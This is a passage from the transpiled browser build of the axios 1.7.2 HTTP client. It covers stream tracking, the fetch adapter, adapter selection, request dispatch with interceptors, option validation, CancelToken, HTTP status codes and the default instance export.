          _context.next = 4;
          return chunk;
        case 4:
          return _context.abrupt("return");
        case 5:
          pos = 0;
        case 6:
          if (!(pos < len)) {
            _context.next = 13;
            break;
          }
          end = pos + chunkSize;
          _context.next = 10;
          return chunk.slice(pos, end);
        case 10:
          pos = end;
          _context.next = 6;
          break;
        case 13:
        case "end":
          return _context.stop();
      }
    }, streamChunk);
  });
  var readBytes = /*#__PURE__*/function () {
    var _ref = _wrapAsyncGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee(iterable, chunkSize, encode) {
      var _iteratorAbruptCompletion, _didIteratorError, _iteratorError, _iterator, _step, chunk;
      return _regeneratorRuntime().wrap(function _callee$(_context2) {
        while (1) switch (_context2.prev = _context2.next) {
          case 0:
            _iteratorAbruptCompletion = false;
            _didIteratorError = false;
            _context2.prev = 2;
            _iterator = _asyncIterator(iterable);
          case 4:
            _context2.next = 6;
            return _awaitAsyncGenerator(_iterator.next());
          case 6:
            if (!(_iteratorAbruptCompletion = !(_step = _context2.sent).done)) {
              _context2.next = 27;
              break;
            }
            chunk = _step.value;
            _context2.t0 = _asyncGeneratorDelegate;
            _context2.t1 = _asyncIterator;
            _context2.t2 = streamChunk;
            if (!ArrayBuffer.isView(chunk)) {
              _context2.next = 15;
              break;
            }
            _context2.t3 = chunk;
            _context2.next = 18;
            break;
          case 15:
            _context2.next = 17;
            return _awaitAsyncGenerator(encode(String(chunk)));
          case 17:
            _context2.t3 = _context2.sent;
          case 18:
            _context2.t4 = _context2.t3;
            _context2.t5 = chunkSize;
            _context2.t6 = (0, _context2.t2)(_context2.t4, _context2.t5);
            _context2.t7 = (0, _context2.t1)(_context2.t6);
            _context2.t8 = _awaitAsyncGenerator;
            return _context2.delegateYield((0, _context2.t0)(_context2.t7, _context2.t8), "t9", 24);
          case 24:
            _iteratorAbruptCompletion = false;
            _context2.next = 4;
            break;
          case 27:
            _context2.next = 33;
            break;
          case 29:
            _context2.prev = 29;
            _context2.t10 = _context2["catch"](2);
            _didIteratorError = true;
            _iteratorError = _context2.t10;
          case 33:
            _context2.prev = 33;
            _context2.prev = 34;
            if (!(_iteratorAbruptCompletion && _iterator["return"] != null)) {
              _context2.next = 38;
              break;
            }
            _context2.next = 38;
            return _awaitAsyncGenerator(_iterator["return"]());
          case 38:
            _context2.prev = 38;
            if (!_didIteratorError) {
              _context2.next = 41;
              break;
            }
            throw _iteratorError;
          case 41:
            return _context2.finish(38);
          case 42:
            return _context2.finish(33);
          case 43:
          case "end":
            return _context2.stop();
        }
      }, _callee, null, [[2, 29, 33, 43], [34,, 38, 42]]);
    }));
    return function readBytes(_x, _x2, _x3) {
      return _ref.apply(this, arguments);
    };
  }();
  var trackStream = function trackStream(stream, chunkSize, onProgress, onFinish, encode) {
    var iterator = readBytes(stream, chunkSize, encode);
    var bytes = 0;
    return new ReadableStream({
      type: 'bytes',
      pull: function pull(controller) {
        return _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee2() {
          var _yield$iterator$next, done, value, len;
          return _regeneratorRuntime().wrap(function _callee2$(_context3) {
            while (1) switch (_context3.prev = _context3.next) {
              case 0:
                _context3.next = 2;
                return iterator.next();
              case 2:
                _yield$iterator$next = _context3.sent;
                done = _yield$iterator$next.done;
                value = _yield$iterator$next.value;
                if (!done) {
                  _context3.next = 9;
                  break;
                }
                controller.close();
                onFinish();
                return _context3.abrupt("return");
              case 9:
                len = value.byteLength;
                onProgress && onProgress(bytes += len);
                controller.enqueue(new Uint8Array(value));
              case 12:
              case "end":
                return _context3.stop();
            }
          }, _callee2);
        }))();
      },
      cancel: function cancel(reason) {
        onFinish(reason);
        return iterator["return"]();
      }
    }, {
      highWaterMark: 2
    });
  };

  var fetchProgressDecorator = function fetchProgressDecorator(total, fn) {
    var lengthComputable = total != null;
    return function (loaded) {
      return setTimeout(function () {
        return fn({
          lengthComputable: lengthComputable,
          total: total,
          loaded: loaded
        });
      });
    };
  };
  var isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';
  var isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';

  // used only inside the fetch adapter
  var encodeText = isFetchSupported && (typeof TextEncoder === 'function' ? function (encoder) {
    return function (str) {
      return encoder.encode(str);
    };
  }(new TextEncoder()) : ( /*#__PURE__*/function () {
    var _ref = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee(str) {
      return _regeneratorRuntime().wrap(function _callee$(_context) {
        while (1) switch (_context.prev = _context.next) {
          case 0:
            _context.t0 = Uint8Array;
            _context.next = 3;
            return new Response(str).arrayBuffer();
          case 3:
            _context.t1 = _context.sent;
            return _context.abrupt("return", new _context.t0(_context.t1));
          case 5:
          case "end":
            return _context.stop();
        }
      }, _callee);
    }));
    return function (_x) {
      return _ref.apply(this, arguments);
    };
  }()));
  var supportsRequestStream = isReadableStreamSupported && function () {
    var duplexAccessed = false;
    var hasContentType = new Request(platform.origin, {
      body: new ReadableStream(),
      method: 'POST',
      get duplex() {
        duplexAccessed = true;
        return 'half';
      }
    }).headers.has('Content-Type');
    return duplexAccessed && !hasContentType;
  }();
  var DEFAULT_CHUNK_SIZE = 64 * 1024;
  var supportsResponseStream = isReadableStreamSupported && !!function () {
    try {
      return utils$1.isReadableStream(new Response('').body);
    } catch (err) {
      // return undefined
    }
  }();
  var resolvers = {
    stream: supportsResponseStream && function (res) {
      return res.body;
    }
  };
  isFetchSupported && function (res) {
    ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(function (type) {
      !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? function (res) {
        return res[type]();
      } : function (_, config) {
        throw new AxiosError("Response type '".concat(type, "' is not supported"), AxiosError.ERR_NOT_SUPPORT, config);
      });
    });
  }(new Response());
  var getBodyLength = /*#__PURE__*/function () {
    var _ref2 = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee2(body) {
      return _regeneratorRuntime().wrap(function _callee2$(_context2) {
        while (1) switch (_context2.prev = _context2.next) {
          case 0:
            if (!(body == null)) {
              _context2.next = 2;
              break;
            }
            return _context2.abrupt("return", 0);
          case 2:
            if (!utils$1.isBlob(body)) {
              _context2.next = 4;
              break;
            }
            return _context2.abrupt("return", body.size);
          case 4:
            if (!utils$1.isSpecCompliantForm(body)) {
              _context2.next = 8;
              break;
            }
            _context2.next = 7;
            return new Request(body).arrayBuffer();
          case 7:
            return _context2.abrupt("return", _context2.sent.byteLength);
          case 8:
            if (!utils$1.isArrayBufferView(body)) {
              _context2.next = 10;
              break;
            }
            return _context2.abrupt("return", body.byteLength);
          case 10:
            if (utils$1.isURLSearchParams(body)) {
              body = body + '';
            }
            if (!utils$1.isString(body)) {
              _context2.next = 15;
              break;
            }
            _context2.next = 14;
            return encodeText(body);
          case 14:
            return _context2.abrupt("return", _context2.sent.byteLength);
          case 15:
          case "end":
            return _context2.stop();
        }
      }, _callee2);
    }));
    return function getBodyLength(_x2) {
      return _ref2.apply(this, arguments);
    };
  }();
  var resolveBodyLength = /*#__PURE__*/function () {
    var _ref3 = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee3(headers, body) {
      var length;
      return _regeneratorRuntime().wrap(function _callee3$(_context3) {
        while (1) switch (_context3.prev = _context3.next) {
          case 0:
            length = utils$1.toFiniteNumber(headers.getContentLength());
            return _context3.abrupt("return", length == null ? getBodyLength(body) : length);
          case 2:
          case "end":
            return _context3.stop();
        }
      }, _callee3);
    }));
    return function resolveBodyLength(_x3, _x4) {
      return _ref3.apply(this, arguments);
    };
  }();
  var fetchAdapter = isFetchSupported && ( /*#__PURE__*/function () {
    var _ref4 = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee4(config) {
      var _resolveConfig, url, method, data, signal, cancelToken, timeout, onDownloadProgress, onUploadProgress, responseType, headers, _resolveConfig$withCr, withCredentials, fetchOptions, _ref5, _ref6, composedSignal, stopTimeout, finished, request, onFinish, requestContentLength, _request, contentTypeHeader, response, isStreamResponse, options, responseContentLength, responseData;
      return _regeneratorRuntime().wrap(function _callee4$(_context4) {
        while (1) switch (_context4.prev = _context4.next) {
          case 0:
            _resolveConfig = resolveConfig(config), url = _resolveConfig.url, method = _resolveConfig.method, data = _resolveConfig.data, signal = _resolveConfig.signal, cancelToken = _resolveConfig.cancelToken, timeout = _resolveConfig.timeout, onDownloadProgress = _resolveConfig.onDownloadProgress, onUploadProgress = _resolveConfig.onUploadProgress, responseType = _resolveConfig.responseType, headers = _resolveConfig.headers, _resolveConfig$withCr = _resolveConfig.withCredentials, withCredentials = _resolveConfig$withCr === void 0 ? 'same-origin' : _resolveConfig$withCr, fetchOptions = _resolveConfig.fetchOptions;
            responseType = responseType ? (responseType + '').toLowerCase() : 'text';
            _ref5 = signal || cancelToken || timeout ? composeSignals$1([signal, cancelToken], timeout) : [], _ref6 = _slicedToArray(_ref5, 2), composedSignal = _ref6[0], stopTimeout = _ref6[1];
            onFinish = function onFinish() {
              !finished && setTimeout(function () {
                composedSignal && composedSignal.unsubscribe();
              });
              finished = true;
            };
            _context4.prev = 4;
            _context4.t0 = onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head';
            if (!_context4.t0) {
              _context4.next = 11;
              break;
            }
            _context4.next = 9;
            return resolveBodyLength(headers, data);
          case 9:
            _context4.t1 = requestContentLength = _context4.sent;
            _context4.t0 = _context4.t1 !== 0;
          case 11:
            if (!_context4.t0) {
              _context4.next = 15;
              break;
            }
            _request = new Request(url, {
              method: 'POST',
              body: data,
              duplex: "half"
            });
            if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {
              headers.setContentType(contentTypeHeader);
            }
            if (_request.body) {
              data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(requestContentLength, progressEventReducer(onUploadProgress)), null, encodeText);
            }
          case 15:
            if (!utils$1.isString(withCredentials)) {
              withCredentials = withCredentials ? 'cors' : 'omit';
            }
            request = new Request(url, _objectSpread2(_objectSpread2({}, fetchOptions), {}, {
              signal: composedSignal,
              method: method.toUpperCase(),
              headers: headers.normalize().toJSON(),
              body: data,
              duplex: "half",
              withCredentials: withCredentials
            }));
            _context4.next = 19;
            return fetch(request);
          case 19:
            response = _context4.sent;
            isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');
            if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {
              options = {};
              ['status', 'statusText', 'headers'].forEach(function (prop) {
                options[prop] = response[prop];
              });
              responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length'));
              response = new Response(trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(responseContentLength, progressEventReducer(onDownloadProgress, true)), isStreamResponse && onFinish, encodeText), options);
            }
            responseType = responseType || 'text';
            _context4.next = 25;
            return resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config);
          case 25:
            responseData = _context4.sent;
            !isStreamResponse && onFinish();
            stopTimeout && stopTimeout();
            _context4.next = 30;
            return new Promise(function (resolve, reject) {
              settle(resolve, reject, {
                data: responseData,
                headers: AxiosHeaders$1.from(response.headers),
                status: response.status,
                statusText: response.statusText,
                config: config,
                request: request
              });
            });
          case 30:
            return _context4.abrupt("return", _context4.sent);
          case 33:
            _context4.prev = 33;
            _context4.t2 = _context4["catch"](4);
            onFinish();
            if (!(_context4.t2 && _context4.t2.name === 'TypeError' && /fetch/i.test(_context4.t2.message))) {
              _context4.next = 38;
              break;
            }
            throw Object.assign(new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request), {
              cause: _context4.t2.cause || _context4.t2
            });
          case 38:
            throw AxiosError.from(_context4.t2, _context4.t2 && _context4.t2.code, config, request);
          case 39:
          case "end":
            return _context4.stop();
        }
      }, _callee4, null, [[4, 33]]);
    }));
    return function (_x5) {
      return _ref4.apply(this, arguments);
    };
  }());

  var knownAdapters = {
    http: httpAdapter,
    xhr: xhrAdapter,
    fetch: fetchAdapter
  };
  utils$1.forEach(knownAdapters, function (fn, value) {
    if (fn) {
      try {
        Object.defineProperty(fn, 'name', {
          value: value
        });
      } catch (e) {
        // eslint-disable-next-line no-empty
      }
      Object.defineProperty(fn, 'adapterName', {
        value: value
      });
    }
  });
  var renderReason = function renderReason(reason) {
    return "- ".concat(reason);
  };
  var isResolvedHandle = function isResolvedHandle(adapter) {
    return utils$1.isFunction(adapter) || adapter === null || adapter === false;
  };
  var adapters = {
    getAdapter: function getAdapter(adapters) {
      adapters = utils$1.isArray(adapters) ? adapters : [adapters];
      var _adapters = adapters,
        length = _adapters.length;
      var nameOrAdapter;
      var adapter;
      var rejectedReasons = {};
      for (var i = 0; i < length; i++) {
        nameOrAdapter = adapters[i];
        var id = void 0;
        adapter = nameOrAdapter;
        if (!isResolvedHandle(nameOrAdapter)) {
          adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];
          if (adapter === undefined) {
            throw new AxiosError("Unknown adapter '".concat(id, "'"));
          }
        }
        if (adapter) {
          break;
        }
        rejectedReasons[id || '#' + i] = adapter;
      }
      if (!adapter) {
        var reasons = Object.entries(rejectedReasons).map(function (_ref) {
          var _ref2 = _slicedToArray(_ref, 2),
            id = _ref2[0],
            state = _ref2[1];
          return "adapter ".concat(id, " ") + (state === false ? 'is not supported by the environment' : 'is not available in the build');
        });
        var s = length ? reasons.length > 1 ? 'since :\n' + reasons.map(renderReason).join('\n') : ' ' + renderReason(reasons[0]) : 'as no adapter specified';
        throw new AxiosError("There is no suitable adapter to dispatch the request " + s, 'ERR_NOT_SUPPORT');
      }
      return adapter;
    },
    adapters: knownAdapters
  };

  /**
   * Throws a `CanceledError` if cancellation has been requested.
   *
   * @param {Object} config The config that is to be used for the request
   *
   * @returns {void}
   */
  function throwIfCancellationRequested(config) {
    if (config.cancelToken) {
      config.cancelToken.throwIfRequested();
    }
    if (config.signal && config.signal.aborted) {
      throw new CanceledError(null, config);
    }
  }

  /**
   * Dispatch a request to the server using the configured adapter.
   *
   * @param {object} config The config that is to be used for the request
   *
   * @returns {Promise} The Promise to be fulfilled
   */
  function dispatchRequest(config) {
    throwIfCancellationRequested(config);
    config.headers = AxiosHeaders$1.from(config.headers);

    // Transform request data
    config.data = transformData.call(config, config.transformRequest);
    if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {
      config.headers.setContentType('application/x-www-form-urlencoded', false);
    }
    var adapter = adapters.getAdapter(config.adapter || defaults$1.adapter);
    return adapter(config).then(function onAdapterResolution(response) {
      throwIfCancellationRequested(config);

      // Transform response data
      response.data = transformData.call(config, config.transformResponse, response);
      response.headers = AxiosHeaders$1.from(response.headers);
      return response;
    }, function onAdapterRejection(reason) {
      if (!isCancel(reason)) {
        throwIfCancellationRequested(config);

        // Transform response data
        if (reason && reason.response) {
          reason.response.data = transformData.call(config, config.transformResponse, reason.response);
          reason.response.headers = AxiosHeaders$1.from(reason.response.headers);
        }
      }
      return Promise.reject(reason);
    });
  }

  var VERSION = "1.7.2";

  var validators$1 = {};

  // eslint-disable-next-line func-names
  ['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach(function (type, i) {
    validators$1[type] = function validator(thing) {
      return _typeof(thing) === type || 'a' + (i < 1 ? 'n ' : ' ') + type;
    };
  });
  var deprecatedWarnings = {};

  /**
   * Transitional option validator
   *
   * @param {function|boolean?} validator - set to false if the transitional option has been removed
   * @param {string?} version - deprecated version / removed since version
   * @param {string?} message - some message with additional info
   *
   * @returns {function}
   */
  validators$1.transitional = function transitional(validator, version, message) {
    function formatMessage(opt, desc) {
      return '[Axios v' + VERSION + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : '');
    }

    // eslint-disable-next-line func-names
    return function (value, opt, opts) {
      if (validator === false) {
        throw new AxiosError(formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')), AxiosError.ERR_DEPRECATED);
      }
      if (version && !deprecatedWarnings[opt]) {
        deprecatedWarnings[opt] = true;
        // eslint-disable-next-line no-console
        console.warn(formatMessage(opt, ' has been deprecated since v' + version + ' and will be removed in the near future'));
      }
      return validator ? validator(value, opt, opts) : true;
    };
  };

  /**
   * Assert object's properties type
   *
   * @param {object} options
   * @param {object} schema
   * @param {boolean?} allowUnknown
   *
   * @returns {object}
   */

  function assertOptions(options, schema, allowUnknown) {
    if (_typeof(options) !== 'object') {
      throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);
    }
    var keys = Object.keys(options);
    var i = keys.length;
    while (i-- > 0) {
      var opt = keys[i];
      var validator = schema[opt];
      if (validator) {
        var value = options[opt];
        var result = value === undefined || validator(value, opt, options);
        if (result !== true) {
          throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);
        }
        continue;
      }
      if (allowUnknown !== true) {
        throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);
      }
    }
  }
  var validator = {
    assertOptions: assertOptions,
    validators: validators$1
  };

  var validators = validator.validators;

  /**
   * Create a new instance of Axios
   *
   * @param {Object} instanceConfig The default config for the instance
   *
   * @return {Axios} A new instance of Axios
   */
  var Axios = /*#__PURE__*/function () {
    function Axios(instanceConfig) {
      _classCallCheck(this, Axios);
      this.defaults = instanceConfig;
      this.interceptors = {
        request: new InterceptorManager$1(),
        response: new InterceptorManager$1()
      };
    }

    /**
     * Dispatch a request
     *
     * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)
     * @param {?Object} config
     *
     * @returns {Promise} The Promise to be fulfilled
     */
    _createClass(Axios, [{
      key: "request",
      value: (function () {
        var _request2 = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee(configOrUrl, config) {
          var dummy, stack;
          return _regeneratorRuntime().wrap(function _callee$(_context) {
            while (1) switch (_context.prev = _context.next) {
              case 0:
                _context.prev = 0;
                _context.next = 3;
                return this._request(configOrUrl, config);
              case 3:
                return _context.abrupt("return", _context.sent);
              case 6:
                _context.prev = 6;
                _context.t0 = _context["catch"](0);
                if (_context.t0 instanceof Error) {
                  Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : dummy = new Error();

                  // slice off the Error: ... line
                  stack = dummy.stack ? dummy.stack.replace(/^.+\n/, '') : '';
                  try {
                    if (!_context.t0.stack) {
                      _context.t0.stack = stack;
                      // match without the 2 top stack lines
                    } else if (stack && !String(_context.t0.stack).endsWith(stack.replace(/^.+\n.+\n/, ''))) {
                      _context.t0.stack += '\n' + stack;
                    }
                  } catch (e) {
                    // ignore the case where "stack" is an un-writable property
                  }
                }
                throw _context.t0;
              case 10:
              case "end":
                return _context.stop();
            }
          }, _callee, this, [[0, 6]]);
        }));
        function request(_x, _x2) {
          return _request2.apply(this, arguments);
        }
        return request;
      }())
    }, {
      key: "_request",
      value: function _request(configOrUrl, config) {
        /*eslint no-param-reassign:0*/
        // Allow for axios('example/url'[, config]) a la fetch API
        if (typeof configOrUrl === 'string') {
          config = config || {};
          config.url = configOrUrl;
        } else {
          config = configOrUrl || {};
        }
        config = mergeConfig(this.defaults, config);
        var _config = config,
          transitional = _config.transitional,
          paramsSerializer = _config.paramsSerializer,
          headers = _config.headers;
        if (transitional !== undefined) {
          validator.assertOptions(transitional, {
            silentJSONParsing: validators.transitional(validators["boolean"]),
            forcedJSONParsing: validators.transitional(validators["boolean"]),
            clarifyTimeoutError: validators.transitional(validators["boolean"])
          }, false);
        }
        if (paramsSerializer != null) {
          if (utils$1.isFunction(paramsSerializer)) {
            config.paramsSerializer = {
              serialize: paramsSerializer
            };
          } else {
            validator.assertOptions(paramsSerializer, {
              encode: validators["function"],
              serialize: validators["function"]
            }, true);
          }
        }

        // Set config.method
        config.method = (config.method || this.defaults.method || 'get').toLowerCase();

        // Flatten headers
        var contextHeaders = headers && utils$1.merge(headers.common, headers[config.method]);
        headers && utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], function (method) {
          delete headers[method];
        });
        config.headers = AxiosHeaders$1.concat(contextHeaders, headers);

        // filter out skipped interceptors
        var requestInterceptorChain = [];
        var synchronousRequestInterceptors = true;
        this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
          if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {
            return;
          }
          synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;
          requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);
        });
        var responseInterceptorChain = [];
        this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
          responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);
        });
        var promise;
        var i = 0;
        var len;
        if (!synchronousRequestInterceptors) {
          var chain = [dispatchRequest.bind(this), undefined];
          chain.unshift.apply(chain, requestInterceptorChain);
          chain.push.apply(chain, responseInterceptorChain);
          len = chain.length;
          promise = Promise.resolve(config);
          while (i < len) {
            promise = promise.then(chain[i++], chain[i++]);
          }
          return promise;
        }
        len = requestInterceptorChain.length;
        var newConfig = config;
        i = 0;
        while (i < len) {
          var onFulfilled = requestInterceptorChain[i++];
          var onRejected = requestInterceptorChain[i++];
          try {
            newConfig = onFulfilled(newConfig);
          } catch (error) {
            onRejected.call(this, error);
            break;
          }
        }
        try {
          promise = dispatchRequest.call(this, newConfig);
        } catch (error) {
          return Promise.reject(error);
        }
        i = 0;
        len = responseInterceptorChain.length;
        while (i < len) {
          promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);
        }
        return promise;
      }
    }, {
      key: "getUri",
      value: function getUri(config) {
        config = mergeConfig(this.defaults, config);
        var fullPath = buildFullPath(config.baseURL, config.url);
        return buildURL(fullPath, config.params, config.paramsSerializer);
      }
    }]);
    return Axios;
  }(); // Provide aliases for supported request methods
  utils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {
    /*eslint func-names:0*/
    Axios.prototype[method] = function (url, config) {
      return this.request(mergeConfig(config || {}, {
        method: method,
        url: url,
        data: (config || {}).data
      }));
    };
  });
  utils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
    /*eslint func-names:0*/

    function generateHTTPMethod(isForm) {
      return function httpMethod(url, data, config) {
        return this.request(mergeConfig(config || {}, {
          method: method,
          headers: isForm ? {
            'Content-Type': 'multipart/form-data'
          } : {},
          url: url,
          data: data
        }));
      };
    }
    Axios.prototype[method] = generateHTTPMethod();
    Axios.prototype[method + 'Form'] = generateHTTPMethod(true);
  });
  var Axios$1 = Axios;

  /**
   * A `CancelToken` is an object that can be used to request cancellation of an operation.
   *
   * @param {Function} executor The executor function.
   *
   * @returns {CancelToken}
   */
  var CancelToken = /*#__PURE__*/function () {
    function CancelToken(executor) {
      _classCallCheck(this, CancelToken);
      if (typeof executor !== 'function') {
        throw new TypeError('executor must be a function.');
      }
      var resolvePromise;
      this.promise = new Promise(function promiseExecutor(resolve) {
        resolvePromise = resolve;
      });
      var token = this;

      // eslint-disable-next-line func-names
      this.promise.then(function (cancel) {
        if (!token._listeners) return;
        var i = token._listeners.length;
        while (i-- > 0) {
          token._listeners[i](cancel);
        }
        token._listeners = null;
      });

      // eslint-disable-next-line func-names
      this.promise.then = function (onfulfilled) {
        var _resolve;
        // eslint-disable-next-line func-names
        var promise = new Promise(function (resolve) {
          token.subscribe(resolve);
          _resolve = resolve;
        }).then(onfulfilled);
        promise.cancel = function reject() {
          token.unsubscribe(_resolve);
        };
        return promise;
      };
      executor(function cancel(message, config, request) {
        if (token.reason) {
          // Cancellation has already been requested
          return;
        }
        token.reason = new CanceledError(message, config, request);
        resolvePromise(token.reason);
      });
    }

    /**
     * Throws a `CanceledError` if cancellation has been requested.
     */
    _createClass(CancelToken, [{
      key: "throwIfRequested",
      value: function throwIfRequested() {
        if (this.reason) {
          throw this.reason;
        }
      }

      /**
       * Subscribe to the cancel signal
       */
    }, {
      key: "subscribe",
      value: function subscribe(listener) {
        if (this.reason) {
          listener(this.reason);
          return;
        }
        if (this._listeners) {
          this._listeners.push(listener);
        } else {
          this._listeners = [listener];
        }
      }

      /**
       * Unsubscribe from the cancel signal
       */
    }, {
      key: "unsubscribe",
      value: function unsubscribe(listener) {
        if (!this._listeners) {
          return;
        }
        var index = this._listeners.indexOf(listener);
        if (index !== -1) {
          this._listeners.splice(index, 1);
        }
      }

      /**
       * Returns an object that contains a new `CancelToken` and a function that, when called,
       * cancels the `CancelToken`.
       */
    }], [{
      key: "source",
      value: function source() {
        var cancel;
        var token = new CancelToken(function executor(c) {
          cancel = c;
        });
        return {
          token: token,
          cancel: cancel
        };
      }
    }]);
    return CancelToken;
  }();
  var CancelToken$1 = CancelToken;

  /**
   * Syntactic sugar for invoking a function and expanding an array for arguments.
   *
   * Common use case would be to use `Function.prototype.apply`.
   *
   *  ```js
   *  function f(x, y, z) {}
   *  var args = [1, 2, 3];
   *  f.apply(null, args);
   *  ```
   *
   * With `spread` this example can be re-written.
   *
   *  ```js
   *  spread(function(x, y, z) {})([1, 2, 3]);
   *  ```
   *
   * @param {Function} callback
   *
   * @returns {Function}
   */
  function spread(callback) {
    return function wrap(arr) {
      return callback.apply(null, arr);
    };
  }

  /**
   * Determines whether the payload is an error thrown by Axios
   *
   * @param {*} payload The value to test
   *
   * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false
   */
  function isAxiosError(payload) {
    return utils$1.isObject(payload) && payload.isAxiosError === true;
  }

  var HttpStatusCode = {
    Continue: 100,
    SwitchingProtocols: 101,
    Processing: 102,
    EarlyHints: 103,
    Ok: 200,
    Created: 201,
    Accepted: 202,
    NonAuthoritativeInformation: 203,
    NoContent: 204,
    ResetContent: 205,
    PartialContent: 206,
    MultiStatus: 207,
    AlreadyReported: 208,
    ImUsed: 226,
    MultipleChoices: 300,
    MovedPermanently: 301,
    Found: 302,
    SeeOther: 303,
    NotModified: 304,
    UseProxy: 305,
    Unused: 306,
    TemporaryRedirect: 307,
    PermanentRedirect: 308,
    BadRequest: 400,
    Unauthorized: 401,
    PaymentRequired: 402,
    Forbidden: 403,
    NotFound: 404,
    MethodNotAllowed: 405,
    NotAcceptable: 406,
    ProxyAuthenticationRequired: 407,
    RequestTimeout: 408,
    Conflict: 409,
    Gone: 410,
    LengthRequired: 411,
    PreconditionFailed: 412,
    PayloadTooLarge: 413,
    UriTooLong: 414,
    UnsupportedMediaType: 415,
    RangeNotSatisfiable: 416,
    ExpectationFailed: 417,
    ImATeapot: 418,
    MisdirectedRequest: 421,
    UnprocessableEntity: 422,
    Locked: 423,
    FailedDependency: 424,
    TooEarly: 425,
    UpgradeRequired: 426,
    PreconditionRequired: 428,
    TooManyRequests: 429,
    RequestHeaderFieldsTooLarge: 431,
    UnavailableForLegalReasons: 451,
    InternalServerError: 500,
    NotImplemented: 501,
    BadGateway: 502,
    ServiceUnavailable: 503,
    GatewayTimeout: 504,
    HttpVersionNotSupported: 505,
    VariantAlsoNegotiates: 506,
    InsufficientStorage: 507,
    LoopDetected: 508,
    NotExtended: 510,
    NetworkAuthenticationRequired: 511
  };
  Object.entries(HttpStatusCode).forEach(function (_ref) {
    var _ref2 = _slicedToArray(_ref, 2),
      key = _ref2[0],
      value = _ref2[1];
    HttpStatusCode[value] = key;
  });
  var HttpStatusCode$1 = HttpStatusCode;

  /**
   * Create an instance of Axios
   *
   * @param {Object} defaultConfig The default config for the instance
   *
   * @returns {Axios} A new instance of Axios
   */
  function createInstance(defaultConfig) {
    var context = new Axios$1(defaultConfig);
    var instance = bind(Axios$1.prototype.request, context);

    // Copy axios.prototype to instance
    utils$1.extend(instance, Axios$1.prototype, context, {
      allOwnKeys: true
    });

    // Copy context to instance
    utils$1.extend(instance, context, null, {
      allOwnKeys: true
    });

    // Factory for creating new instances
    instance.create = function create(instanceConfig) {
      return createInstance(mergeConfig(defaultConfig, instanceConfig));
    };
    return instance;
  }

  // Create the default instance to be exported
  var axios = createInstance(defaults$1);

  // Expose Axios class to allow class inheritance
  axios.Axios = Axios$1;

  // Expose Cancel & CancelToken
  axios.CanceledError = CanceledError;
  axios.CancelToken = CancelToken$1;
  axios.isCancel = isCancel;
  axios.VERSION = VERSION;
  axios.toFormData = toFormData;

  // Expose AxiosError class
  axios.AxiosError = AxiosError;

  // alias for CanceledError for backward compatibility
  axios.Cancel = axios.CanceledError;

  // Expose all/spread
  axios.all = function all(promises) {
    return Promise.all(promises);
  };
  axios.spread = spread;

  // Expose isAxiosError
  axios.isAxiosError = isAxiosError;

  // Expose mergeConfig
  axios.mergeConfig = mergeConfig;
  axios.AxiosHeaders = AxiosHeaders$1;
  axios.formToJSON = function (thing) {
    return formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing);
  };
  axios.getAdapter = adapters.getAdapter;
  axios.HttpStatusCode = HttpStatusCode$1;
  axios["default"] = axios;

  return axios;

}));
//# sourceMappingURL=axios.js.map
